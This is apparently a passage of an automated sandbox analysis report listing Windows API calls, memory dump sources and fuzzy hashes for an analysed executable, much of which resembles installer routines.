                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CursorDesktopWindow$Show
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2074268717-0
                                                                                                                                                                                                                                      • Opcode ID: 48e3412c1a46991eea637d4b1b247886da5b7466a2ee9d80c19fa9edf3c8b710
                                                                                                                                                                                                                                      • Instruction ID: d0219f8535474b9b7e790bb207accfb6dce16a9ac66decbe361331da1304c66b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 48e3412c1a46991eea637d4b1b247886da5b7466a2ee9d80c19fa9edf3c8b710
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 91412C75600210AFC710DF2AFA84B56B7E1EB65329B16817BE405CB365DB38DD81CF98
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00400000,?,00000100), ref: 00408A75
                                                                                                                                                                                                                                      • LoadStringA.USER32(00400000,0000FF9E,?,00000040), ref: 00408AE4
                                                                                                                                                                                                                                      • LoadStringA.USER32(00400000,0000FF9F,?,00000040), ref: 00408B7F
                                                                                                                                                                                                                                      • MessageBoxA.USER32(00000000,?,?,00002010), ref: 00408BBE
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: LoadString$FileMessageModuleName
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 704749118-0
                                                                                                                                                                                                                                      • Opcode ID: ede814ba8b2c905ab74f80468cae56b5ab65d73ed59c96bbcc76a4520df8398d
                                                                                                                                                                                                                                      • Instruction ID: 7d65b0a5aa49ad722f3f3263bbe29e3330acee4661d9e2153cfe083702b22da2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ede814ba8b2c905ab74f80468cae56b5ab65d73ed59c96bbcc76a4520df8398d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1F3123716083849AD370EB65C945BDF77D89B85704F40483FB6C8E72D1EB7859048B6B
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,000001A1,?,00000000), ref: 0044E90D
                                                                                                                                                                                                                                        • Part of subcall function 0044CF50: SendMessageA.USER32(00000000,000001A0,?,00000000), ref: 0044CF82
                                                                                                                                                                                                                                      • InvalidateRect.USER32(00000000,00000000,00000001,00000000,000001A1,?,00000000), ref: 0044E991
                                                                                                                                                                                                                                        • Part of subcall function 0042BBB4: SendMessageA.USER32(00000000,0000018E,00000000,00000000), ref: 0042BBC8
                                                                                                                                                                                                                                      • IsRectEmpty.USER32(?), ref: 0044E953
                                                                                                                                                                                                                                      • ScrollWindowEx.USER32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000006), ref: 0044E976
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: MessageSend$Rect$EmptyInvalidateScrollWindow
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 855768636-0
                                                                                                                                                                                                                                      • Opcode ID: e9e3cf1fe88063870224b64a3ffaafaa7ea9294743723d0f52b5b35edb71e9c8
                                                                                                                                                                                                                                      • Instruction ID: f7bad605b8f68185b4e834990bb8ca2287257270a928060092b59a923d315d7c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e9e3cf1fe88063870224b64a3ffaafaa7ea9294743723d0f52b5b35edb71e9c8
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E5114A71B0030067E650BA7B8C86B5B76C9AB88748F15083FB545EB387DE7DDD094299
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • OffsetRect.USER32(?,?,00000000), ref: 004954F8
                                                                                                                                                                                                                                      • OffsetRect.USER32(?,00000000,?), ref: 00495513
                                                                                                                                                                                                                                      • OffsetRect.USER32(?,?,00000000), ref: 0049552D
                                                                                                                                                                                                                                      • OffsetRect.USER32(?,00000000,?), ref: 00495548
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: OffsetRect
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 177026234-0
                                                                                                                                                                                                                                      • Opcode ID: 189e9286564265d853a06d191ff0450012ffb6c3854856ebd751307d5f0fca29
                                                                                                                                                                                                                                      • Instruction ID: 0cb6fc954a72117405a3be1f948335ff5a15e1e1cf1cb616ea1ff77106a83dd0
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 189e9286564265d853a06d191ff0450012ffb6c3854856ebd751307d5f0fca29
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 372181B6700601AFCB00DE69CD85E6B77DAEBC4344F248A2AF944C7249D638ED448755
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetCursorPos.USER32 ref: 00417260
                                                                                                                                                                                                                                      • SetCursor.USER32(00000000), ref: 004172A3
                                                                                                                                                                                                                                      • GetLastActivePopup.USER32(?), ref: 004172CD
                                                                                                                                                                                                                                      • GetForegroundWindow.USER32(?), ref: 004172D4
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Cursor$ActiveForegroundLastPopupWindow
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1959210111-0
                                                                                                                                                                                                                                      • Opcode ID: 0923a2c161fc1a9e066ccd67b54e00c3a39e3c999bff849f93405dbd13ead463
                                                                                                                                                                                                                                      • Instruction ID: de3f0dc6b436800086b9427ec8ddd2ec86eeedce3a35093462374e80c8eda50e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0923a2c161fc1a9e066ccd67b54e00c3a39e3c999bff849f93405dbd13ead463
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C52183313086118AD720AFA9E945AE733F1EF44754B0544ABF8558B352DB3DDC82CB9E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • MulDiv.KERNEL32(?,00000008,?), ref: 00495161
                                                                                                                                                                                                                                      • MulDiv.KERNEL32(?,00000008,?), ref: 00495175
                                                                                                                                                                                                                                      • MulDiv.KERNEL32(?,00000008,?), ref: 00495189
                                                                                                                                                                                                                                      • MulDiv.KERNEL32(?,00000008,?), ref: 004951A7
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: b0bc83cb44cddb6cfb83e9cff79c84a8c4632dee95d4fc6912c32f85648e17c5
                                                                                                                                                                                                                                      • Instruction ID: ece1589fda812a565620013fcb1ed5a997ef569cae5724ba48b6fbd062de1f9b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b0bc83cb44cddb6cfb83e9cff79c84a8c4632dee95d4fc6912c32f85648e17c5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E8115172A05104AFCB40DEA9D8C5E8B7BECEF4D320B24416AF908DB346D634EC408BA4
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetClassInfoA.USER32(00400000,0041F470,?), ref: 0041F4A1
                                                                                                                                                                                                                                      • UnregisterClassA.USER32(0041F470,00400000), ref: 0041F4CA
                                                                                                                                                                                                                                      • RegisterClassA.USER32(00499598), ref: 0041F4D4
                                                                                                                                                                                                                                      • SetWindowLongA.USER32(00000000,000000FC,00000000), ref: 0041F50F
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Class$InfoLongRegisterUnregisterWindow
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4025006896-0
                                                                                                                                                                                                                                      • Opcode ID: 7a514111b6068dfbbdb04c48d1a2146d17cf63cab41d43eccfd0167b2dbd8d5c
                                                                                                                                                                                                                                      • Instruction ID: 7a0dc659497f48f9aad4428a0df7724adcaf244520b53866b591a9b3b5545ee4
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7a514111b6068dfbbdb04c48d1a2146d17cf63cab41d43eccfd0167b2dbd8d5c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F6011B72240104AADA10EBACED81E9B33999729314B11423BB615E72A2D6399C558BAC
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FindResourceA.KERNEL32(00400000,?,00000000), ref: 0040D027
                                                                                                                                                                                                                                      • LoadResource.KERNEL32(00400000,72756F73,0040A7C8,00400000,00000001,00000000,?,0040CF84,00000000,?,00000000,?,?,0047C648,0000000A,00000000), ref: 0040D041
                                                                                                                                                                                                                                      • SizeofResource.KERNEL32(00400000,72756F73,00400000,72756F73,0040A7C8,00400000,00000001,00000000,?,0040CF84,00000000,?,00000000,?,?,0047C648), ref: 0040D05B
                                                                                                                                                                                                                                      • LockResource.KERNEL32(74536563,00000000,00400000,72756F73,00400000,72756F73,0040A7C8,00400000,00000001,00000000,?,0040CF84,00000000,?,00000000,?), ref: 0040D065
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Resource$FindLoadLockSizeof
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3473537107-0
                                                                                                                                                                                                                                      • Opcode ID: f701ce4f04cb0ebdd1143b5585c75acb70ffd029a82b31343d3be87257736b7b
                                                                                                                                                                                                                                      • Instruction ID: ce77ce8360aa458f47a01e9b0563465317cd85cc21d7bcd45488e041df035c61
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f701ce4f04cb0ebdd1143b5585c75acb70ffd029a82b31343d3be87257736b7b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 49F04F726056046F9B14EE59A881D5B77ECDE88268310013AF908E7286DA38DD018B68
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,00000000), ref: 00470465
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Unsetting NTFS compression on file: %s, xrefs: 0047044B
                                                                                                                                                                                                                                      • Failed to set NTFS compression state (%d)., xrefs: 00470476
                                                                                                                                                                                                                                      • Setting NTFS compression on file: %s, xrefs: 00470433
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLast
                                                                                                                                                                                                                                      • String ID: Failed to set NTFS compression state (%d).$Setting NTFS compression on file: %s$Unsetting NTFS compression on file: %s
                                                                                                                                                                                                                                      • API String ID: 1452528299-3038984924
                                                                                                                                                                                                                                      • Opcode ID: a714ca870f106a0b299b69b708085a280bfeb4b7d5a8dbea3a6d3b5799a23f26
                                                                                                                                                                                                                                      • Instruction ID: 5508092d392c29e30f7e419f1558a5efa53bd64671fa73d33ea5aa8feab5f6e0
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a714ca870f106a0b299b69b708085a280bfeb4b7d5a8dbea3a6d3b5799a23f26
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CA016730E1924896CB14D7AD54812EDBBF49F49308F44C1EFA55DE7382DA781A08879A
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,00000000), ref: 0046FCB9
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Unsetting NTFS compression on directory: %s, xrefs: 0046FC9F
                                                                                                                                                                                                                                      • Failed to set NTFS compression state (%d)., xrefs: 0046FCCA
                                                                                                                                                                                                                                      • Setting NTFS compression on directory: %s, xrefs: 0046FC87
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLast
                                                                                                                                                                                                                                      • String ID: Failed to set NTFS compression state (%d).$Setting NTFS compression on directory: %s$Unsetting NTFS compression on directory: %s
                                                                                                                                                                                                                                      • API String ID: 1452528299-1392080489
                                                                                                                                                                                                                                      • Opcode ID: d08b5e621045cc5cd0e44a77b6b1f6d9ef736be1227186b37ca663e00f32494c
                                                                                                                                                                                                                                      • Instruction ID: 966577c707f49859c08c22ad5a588f09726d737875f6d95343439a3241496ead
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d08b5e621045cc5cd0e44a77b6b1f6d9ef736be1227186b37ca663e00f32494c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 55011720D1824C56CB14D7AD74812DDBBB4AF49314F54C1BFA899E7342EB791A0C879B
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38
                                                                                                                                                                                                                                      • RegDeleteValueA.ADVAPI32(?,00000000,00000082,00000002,00000000,?,?,00000000,0045B5FE,?,?,?,?,?,00000000,0045B625), ref: 00455DD8
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000000,?,00000000,00000082,00000002,00000000,?,?,00000000,0045B5FE,?,?,?,?,?,00000000), ref: 00455DE1
                                                                                                                                                                                                                                      • RemoveFontResourceA.GDI32(00000000), ref: 00455DEE
                                                                                                                                                                                                                                      • SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 00455E02
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseDeleteFontMessageNotifyOpenRemoveResourceSendValue
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4283692357-0
                                                                                                                                                                                                                                      • Opcode ID: 876c7f592335f26f534d3a610f48d9a4b9bf1bdf8c7f8d73d654af2b8de839a9
                                                                                                                                                                                                                                      • Instruction ID: 71ccc6c4ad223293e5fa71c014565a1ca4f3f808124b73c5b0663eb55104ffd2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 876c7f592335f26f534d3a610f48d9a4b9bf1bdf8c7f8d73d654af2b8de839a9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 57F0BEB174070036EA10B6BAAC4BF2B26CC8F54745F10883ABA00EF2C3D97CDC04962D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLast$CountSleepTick
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2227064392-0
                                                                                                                                                                                                                                      • Opcode ID: a059845960953a09b5437104de94e4f2c0855e1466d2a7ed8765463934732ab9
                                                                                                                                                                                                                                      • Instruction ID: 6dd2862dcb574814dc985a52fd8bef393983683767be68f312e29577703bd9fd
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a059845960953a09b5437104de94e4f2c0855e1466d2a7ed8765463934732ab9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C4E0E5623291114D862935FE18D25AF4984CBC23A6B2A453FE088D6242C8584D05467F
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000008,?,?,?,00000001,00000000,00000002,00000000,00480DAC,?,?,?,?,?,0049884B,00000000), ref: 00477D2D
                                                                                                                                                                                                                                      • OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,00480DAC,?,?,?,?,?,0049884B), ref: 00477D33
                                                                                                                                                                                                                                      • GetTokenInformation.ADVAPI32(00000008,00000012(TokenIntegrityLevel),00000000,00000004,00000008,00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,00480DAC), ref: 00477D55
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,00000008,TokenIntegrityLevel,00000000,00000004,00000008,00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,00480DAC), ref: 00477D66
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ProcessToken$CloseCurrentHandleInformationOpen
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 215268677-0
                                                                                                                                                                                                                                      • Opcode ID: 3a93110a626b43f3eadaa74cf541c0290f0e8f026231ea58c1b57ecd76d8e3ea
                                                                                                                                                                                                                                      • Instruction ID: 7d1e0899fa26f13c2a6683c6024d2156ea27cbafc883e2ae306b9283f9cebe78
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3a93110a626b43f3eadaa74cf541c0290f0e8f026231ea58c1b57ecd76d8e3ea
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 85F037616447007BD610E6B58C81E6B73DCEF44754F04893A7E94C72C1D678D8089726
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetLastActivePopup.USER32(?), ref: 0042424C
                                                                                                                                                                                                                                      • IsWindowVisible.USER32(?), ref: 0042425D
                                                                                                                                                                                                                                      • IsWindowEnabled.USER32(?), ref: 00424267
